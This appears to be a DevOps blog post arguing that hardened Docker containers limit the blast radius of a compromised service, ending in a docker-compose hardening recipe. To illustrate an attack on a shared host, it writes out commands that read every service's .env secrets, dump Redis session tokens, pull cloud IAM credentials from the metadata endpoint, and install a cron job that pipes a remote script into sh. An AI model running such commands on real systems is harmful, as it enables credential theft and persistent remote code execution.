ZUA.
Home/Blog/Why Dockerize
DevOps / SecuritySeptember 24, 2026 · 4 min read

"We'll Dockerize Later, Traffic Is Low" Then One Endpoint Took the Whole Server

Containers are not a scaling tool. They are a blast radius tool. And blast radius does not care how much traffic you get.

DockerSecurityNode.jsDevOpsIsolation

The 3am Question#

Your phone buzzes at 3am. One of your services is doing things you never wrote. How it got in (a poisoned dependency, an unauthenticated endpoint, an unpatched CVE) matters tomorrow.

Tonight, one question matters: what can that process reach?

Most teams have never asked it out loud. So their answer, by default, is: everything the machine has.

"PM2 vs Docker" Is the Wrong Question#

To be fair first: PM2 is genuinely good at its job. So is systemd. Restarts, clustering, zero-downtime reloads that is supervision, and it works. (Production in a detached tmux session is another matter that is not a supervisor, that is a terminal you forgot to close.)

The mistake developers make is not picking the wrong tool. It is treating these two as options on one menu. They solve different problems:

PM2 gives youDocker gives you
Auto-restart & crash recoveryFilesystem, network & process walls
Cluster mode across CPU coresResource limits & runtime isolation
Zero-downtime reloadsReproducible environment, dev = prod
Monitoring & log managementWorkloads separated from the host
THE DISTINCTION

A process manager answers "is my process alive?" A container answers "what can my process touch?" No amount of uptime answers the second question.

Both columns are things you want. Only one of them decides what a compromised process can reach and nothing in the left column ever claimed to. The proof they were never alternatives: running PM2 inside a container (pm2-runtime) is a documented, standard pattern. The either/or was invented by deadline pressure, not by the tools.

Ninety Seconds on a Shared Host#

Say the marketing site the least valuable, most exposed thing on the box gets popped. Same user runs everything, so no privilege escalation is needed. Just proximity:

$ cat ~/apps/*/.env                # every service's secrets, one command
STRIPE_SECRET_KEY=sk_live_...      # billing's key, read by marketing's breach
DATABASE_URL=postgres://...        # prod, full read/write
AWS_ACCESS_KEY_ID=AKIA...

$ redis-cli KEYS 'sess:*'          # every live session token
$ curl -s 169.254.169.254/latest/meta-data/iam/security-credentials/
prod-server-role                   # cloud creds, free of charge

$ echo '* * * * * curl -s https://x.sh|sh' | crontab -    # persistence

On a shared host, "compromised one service" and "compromised every service" are the same sentence. And step three turns a server incident into a cloud incident.

The Same Ninety Seconds, In a Container#

Same attacker, same entry point, same code execution. Different universe:

$ cat /app/../*/.env
No such file or directory          # other services do not exist here

$ whoami
node                               # uid 1001, not root

$ echo test > /app/x
Read-only file system              # nowhere to drop a payload

$ curl -s --max-time 3 169.254.169.254/latest/meta-data/
Connection timed out               # IMDS blocked at the network layer

$ redis-cli -h 127.0.0.1 ping
Connection refused                 # this loopback is the container's own

$ crontab -e
command not found                  # distroless: no shell tools at all

Nothing detected the attacker. Everything they reached for simply was not there.

WHAT THIS BUYS YOU AT 3AM

Not "we were not breached." It is: one service was breached, its credentials were scoped to itself, we rotated them, replaced the container, done. A bad Tuesday instead of a company-ending week.

The Walls#

Ships stopped sinking from single breaches when shipbuilders accepted that breaches happen and divided the hull into sealed compartments. A bulkhead does not prevent the hole. It decides how much of the ship the water gets.

That is Docker as a security tool. Each wall kills one step of the attack above:

  • ▸Own filesystem other services' secrets don't exist in its universe
  • ▸Own network the host's loopback, Redis, Postgres are unreachable
  • ▸Blocked metadata no cloud credentials to steal
  • ▸Non-root, no capabilities, read-only nothing to install, nowhere to write
  • ▸Disposable replace the container and the attacker's work is gone

And isolation is symmetric: every service you wall off protects every other service. On a shared host it is the opposite each service you add exposes all the rest.

The Recipe#

A default FROM node image running as root gives you a fraction of this. The walls come from the hardening use a distroless base, then:

services:
  api:
    build: .
    user: "1001:1001"                  # non-root
    read_only: true                    # immutable filesystem
    tmpfs:
      - /tmp:size=64M,noexec,nosuid
    cap_drop: [ALL]                    # no Linux capabilities
    security_opt: [no-new-privileges:true]
    networks: [edge]
    environment:
      DATABASE_URL: ${API_DATABASE_URL}   # scoped to THIS service

networks:
  edge:
  data:
    internal: true                     # no route to the internet

# On the host  block cloud metadata from containers:
#   iptables -I DOCKER-USER -d 169.254.169.254 -j DROP
# On AWS  require IMDSv2 with hop limit 1.

Honest limits, so nobody oversells this: containers do not fix application bugs, do not protect the data that service legitimately holds, and share the host kernel. A root container with the Docker socket mounted hands the isolation straight back. And you still have to patch.

Start Here#

  • ▸Containerize your most exposed service first the public web app. Leave the rest on PM2 for now; they coexist fine.
  • ▸Non-root, read_only, cap_drop: ALL from day one. Retrofitting rarely happens.
  • ▸Split credentials per service the marketing site should not hold a payment key, containers or not.
  • ▸Block IMDS at the host firewall. Ten minutes, closes the worst escalation path on any cloud VM.

Most of the risk reduction is in the first two bullets. The rest is cleanup.

The Point#

"We'll dockerize when we scale" answers a question no attacker is asking. Nobody checks your traffic graph before scanning your IP.

I stay calm when a framework CVE drops not because my code is better than anyone else's. It is because I assumed, years ago, that something in my stack would eventually run code it should not and I built the bulkheads first.

The breach still happens. It just does not get to become the incident.

Need help hardening your deployment setup?

I build and ship production systems happy to discuss your requirements.

Book a Call